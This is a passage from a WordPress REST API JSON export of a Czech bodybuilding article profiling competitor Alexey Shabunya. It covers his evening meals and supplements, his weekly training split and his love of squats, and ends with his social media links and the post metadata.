ml vody, 10 gram\u016f BCAA a potr\u00e9ninkov\u00fd suplement 22:30 \u2013 ve\u010de\u0159e 100 gram\u016f r\u00fd\u017ee, 250 gram\u016f tvarohu nebo vaje\u010dn\u00e1 omeleta, sal\u00e1t 23:00 \u2013 p\u0159ed span\u00edm GABA, 3 tbl ZMA, 1 tbl suplementu s\u00a0obsahem v\u00e1pn\u00edku a vitaminu D3, 2 odm\u011brky syrov\u00e1tkov\u00e9ho proteinov\u00e9ho izol\u00e1tu sm\u00edchan\u00e9 s\u00a0250 ml vody TR\u00c9NINK Tr\u00e9ninkov\u00fd split podle Alexeje \u0160abunji: den: hrudn\u00edk, p\u0159edn\u00ed delty, b\u0159icho den: z\u00e1da, zadn\u00ed delty den: st\u0159edn\u00ed delty, kardio, b\u0159icho, l\u00fdtka den: bicepsy, tricepsy den: nohy a 7. den \u2013 odpo\u010dinek Kolik jste potkali kulturist\u016f, kte\u0159\u00ed r\u00e1di prov\u00e1d\u00ed d\u0159epy? Nikdo v\u00e1s nenapad\u00e1? Tak tady ho m\u00e1te!! \u201eKdybych m\u011bl zm\u00ednit jeden obl\u00edben\u00fd cvik, \u0159ekl bych d\u0159epy \u2013 miluju je!\u201c \u0159\u00edk\u00e1 s\u00a0nad\u0161en\u00edm Alexej. V\u00edce se o objemov\u00e9 i p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b tohoto nad\u011bjn\u00e9ho z\u00e1vodn\u00edka do\u010dtete v\u00a0SK 2\/19. Alexeje m\u016f\u017eete kontaktovat na soci\u00e1ln\u00edch s\u00edt\u00edch Alexey Shabunya (@alexeyshabunia), alexey_shabunia_ Nebo sledovat jeho kan\u00e1l na Youtube: https:\/\/www.youtube.com\/user\/alexshabunya V\u00edce se o objemov\u00e9 i p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b tohoto nad\u011bjn\u00e9ho z\u00e1vodn\u00edka do\u010dtete v\u00a0SK 2\/19.<\/p>\n","protected":false},"author":1,"featured_media":74,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-68","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-profily"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/68","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=68"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/68\/revisions"}],"predecessor-version":[{"id":86,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/68\/revisions\/86"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/74"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=68"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=68"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=68"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}